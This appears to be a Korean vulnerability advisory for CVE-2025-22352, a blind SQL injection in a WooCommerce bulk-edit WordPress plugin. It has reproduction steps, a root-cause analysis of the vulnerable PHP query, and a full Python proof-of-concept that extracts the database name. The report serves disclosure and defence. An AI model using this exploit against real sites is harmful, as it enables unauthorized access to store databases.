Search

[SQL Injection] CVE-2025-22352

Categories
Tags
작성일
2025/01/08
1 more property

Component type

WordPress plugin

 Component details

Component name ELEX WooCommerce Advanced Bulk Edit Products, Prices & Attributes
Vulnerable version <= 1.4.8
Component slug elex-bulk-edit-products-prices-attributes-for-woocommerce-basic

 OWASP 2017: TOP 10

Vulnerability class A3: Injection
Vulnerability type SQL Injection

Pre-requisite

Shop Manager OR Administrator

 Vulnerability details

Short description

ELEX WooCommerce Advanced Bulk Edit Products, Prices & Attributes 플러그인은 제품을 대량으로 편집할 수 있도록 지원하는 플러그인입니다.
이 플러그인에서 제품을 대량 편집할 때는 필터링을 통해 편집 대상을 선택하게 되는데, 이 과정에서 제품 필터링 요청 시 전달되는 일부 데이터가 SQL 쿼리문에 직접 삽입되어 SQL Injection 취약점이 발생합니다.
다만 SQL 쿼리의 결과를 직접 확인할 수는 없으며, 쿼리 결과의 참/거짓 여부를 통해 데이터를 추출하는 Blind SQL Injection 방식으로 취약점이 존재합니다.

 How to reproduce (PoC)

1.
대시보드에서 우커머스 메뉴의 'Bulk Edit Products'('/wp-admin/admin.php?page=eh-bulk-edit-product-attr')로 이동합니다.
2.
제품 필터링 항목 중 Product Regular Price의 select 태그에서 '=='를 선택합니다.
3.
텍스트 입력 폼에 '1 OR 1=1'을 입력합니다(작은따옴표(')는 제외).
4.
하단의 'Preview Filtered Products' 버튼을 클릭하면 모든 상품이 조회됩니다.
5.
반면 동일한 입력 폼에 '1 OR 1=2'를 입력하면 상품이 전혀 조회되지 않습니다.
6.
이를 통해 SQL 쿼리문의 조건이 참/거짓인지에 따라 응답 데이터가 달라지는 것을 확인할 수 있습니다.

 Additional information (optional)

[취약점 발생 원인]

위 PoC 설명에서 요청한 기능(’Preview Filtered Products’)을 수행할 경우 아래의 패킷이 발생합니다.
해당 패킷이 요청되면 /wp-content/plugins/elex-bulk-edit-products-prices-attributes-for-woocommerce-basic/includes/elex-ajax-apifunctions.php 파일 내 elex_bep_filter_products 함수가 호출됩니다.
요청 데이터에서 SQL Injection 페이로드가 포함된 desired_price 값은 아래 순서를 통해 SQL 질의문으로 실행됩니다.
1.
SQL Injection 페이로드가 포함된 desired_price 값이 질의문 조건절에 직접 전달되어 변수 $price_query에 할당됩니다.
product_title_text, range 도 질의문에 직접 전달되지만 PoC에서 desired_price 에 SQL Injection 페이로드를 전달했기 때문에 여기서는 desired_price 만 설명하겠습니다.
// elex-ajax-apifunctions.php at line 1280 $price_query = " AND meta_key='_regular_price' AND meta_value {$filter_range} {$data_to_filter['desired_price']} ";
PHP
복사
2.
이후 변수 $price_query 는 변수 $sql 에 추가되며(line 1365, 1번), 변수 $sql 과 문자열 AND 와 변수 $product_type_condition 는 변수 $main_query 를 초기화 합니다.(line 1379, 2번)
변수 $sqlelex-ajax-apifunctions.php 의 1257번 째 라인에서 초기화됩니다. [1번 사진 참고]
3.
최종적으로 변수 $main_query 는 아래와 같이 함수 prepare 함수의 인자로 전달되어 데이터베이스에 질의를 수행하게 됩니다.
따라서, SQL Injection 페이로드를 포함한 요청 파라미터 desired_price$wpdb->prepare( '%1s', $main_query ) 구문의 $main_query에 포함됩니다. 이때 %1s 포맷 지정자는 $main_query 값을 그대로 전달하므로, SQL Injection 페이로드가 이스케이프 처리 없이 질의문에 삽입되어 SQL Injection 취약점이 발생합니다.

[PoC 코드 구현 및 실행]

PoC 코드는 상품 관리자 계정으로 Blind SQL Injection 취약점을 활용해 데이터베이스명을 획득하는 방식으로 구현했습니다.
1.
PoC 코드를 편집기로 열어 WordPress 사이트 주소와 상품 관리자의 계정을 입력합니다.
2.
그 다음 아래의 명령어를 입력하여 PoC 코드를 실행합니다.
필요 모듈 requests,
python poc.py
Bash
복사

 Attach files (optional)

 PoC Code

import requests import sys import string import re class WordPressSQLInjector: def __init__(self, target, login_id, login_pw, proxies): self.target = target self.session = requests.session() self.nonce = None self.proxies = proxies self.login_id = login_id self.login_pw = login_pw def login(self): data = { "log": self.login_id, "pwd": self.login_pw, "wp-submit": "Log In", "testcookie": 1, } resp = self.session.post(f"{self.target}/wp-login.php", data=data, proxies=self.proxies) if any("wordpress_logged_in_" in cookie for cookie in resp.cookies.keys()): print(f" |- Successfully logged in with account {self.login_id}.") else: raise Exception("[-] Login failed.") def get_nonce(self, page_url): """ Extract the _ajax_eh_bep_nonce value from the specified page. """ resp = self.session.get(url=page_url, proxies=self.proxies) pattern = r'name="_ajax_eh_bep_nonce" value=\"(.{10})\"' match = re.search(pattern, resp.text) if match: self.nonce = match.group(1) print(f" |- Successfully extracted nonce: {self.nonce}") else: raise ValueError("Failed to extract _ajax_eh_bep_nonce.") def create_payload(self, payload): """ Generate a payload dictionary dynamically with the extracted nonce. """ if not self.nonce: raise ValueError("_ajax_eh_bep_nonce is not set. Call `get_nonce` first.") return { "paged": "1", "_ajax_eh_bep_nonce": self.nonce, "action": "eh_bep_filter_products", "sub_category_filter": "", "attribute": "", "product_title_select": "all", "product_title_text": "", "regex_flags": "", "attribute_value_filter": "", "attribute_and": "", "attribute_value_and_filter": "", "range": "=", "desired_price": payload, "minimum_price": "", "maximum_price": "", "exclude_ids": "", "exclude_subcat_check": "0", "enable_exclude_prods": "0", } def find_database_length(self, ajax_url): """ Find the length of the database name using SQL injection. """ database_length = 0 while True: sys.stdout.write(f"\rFinding database name length... Current database length: {database_length}") sys.stdout.flush() payload = f"1 OR LENGTH(DATABASE()) = {database_length}" resp = self.session.post(url=ajax_url, data=self.create_payload(payload), proxies=self.proxies) if resp.json()["total_items_count"] != 0: sys.stdout.write("\r" + " " * 60 + "\r") print("*" * 40) print("Successfully found database name length!") print(f"Database name length: {database_length}") print("*" * 40) return database_length database_length += 1 def extract_database_name(self, ajax_url, database_length): """ Extract the database name character by character using SQL injection. """ database_name = '' charset = string.ascii_letters + string.digits + "_" print("Starting database name extraction...") for i in range(1, database_length + 1): for char in charset: ascii_value = ord(char) payload = f"1 OR ASCII(SUBSTRING(DATABASE(), {i}, 1)) = {ascii_value}" resp = self.session.post(url=ajax_url, data=self.create_payload(payload), proxies=self.proxies) try: is_true = resp.json()["total_items_count"] != 0 except (KeyError, ValueError, requests.exceptions.JSONDecodeError): print(f"\nJSON response error occurred: {resp.text}") is_true = False if is_true: database_name += char sys.stdout.write(f"\rCurrent database name: {database_name}") sys.stdout.flush() break sys.stdout.write("\r" + " " * 80 + "\r") print("*" * 40) print("Successfully extracted database name!") print(f"Database name: {database_name}") print("*" * 40) return database_name if __name__ == '__main__': # Configuration TARGET = "http://localhost:8080" # Shop Manager OR Administrator LOGIN_ID = "shop_manager" LOGIN_PW = "shop_manager" NONCE_PAGE = f"{TARGET}/wp-admin/admin.php?page=eh-bulk-edit-product-attr" AJAX_URL = f"{TARGET}/wp-admin/admin-ajax.php" # Enter the proxy server address in the variable below if you want to configure a proxy. PROXY_SERVER = None PROXY_CONFIG = { "https": PROXY_SERVER, "http": PROXY_SERVER, } # Initialize and perform SQL Injection injector = WordPressSQLInjector(TARGET, LOGIN_ID, LOGIN_PW, proxies=PROXY_CONFIG) injector.login() injector.get_nonce(NONCE_PAGE) database_length = injector.find_database_length(AJAX_URL) database_name = injector.extract_database_name(AJAX_URL, database_length)
Python
복사

 References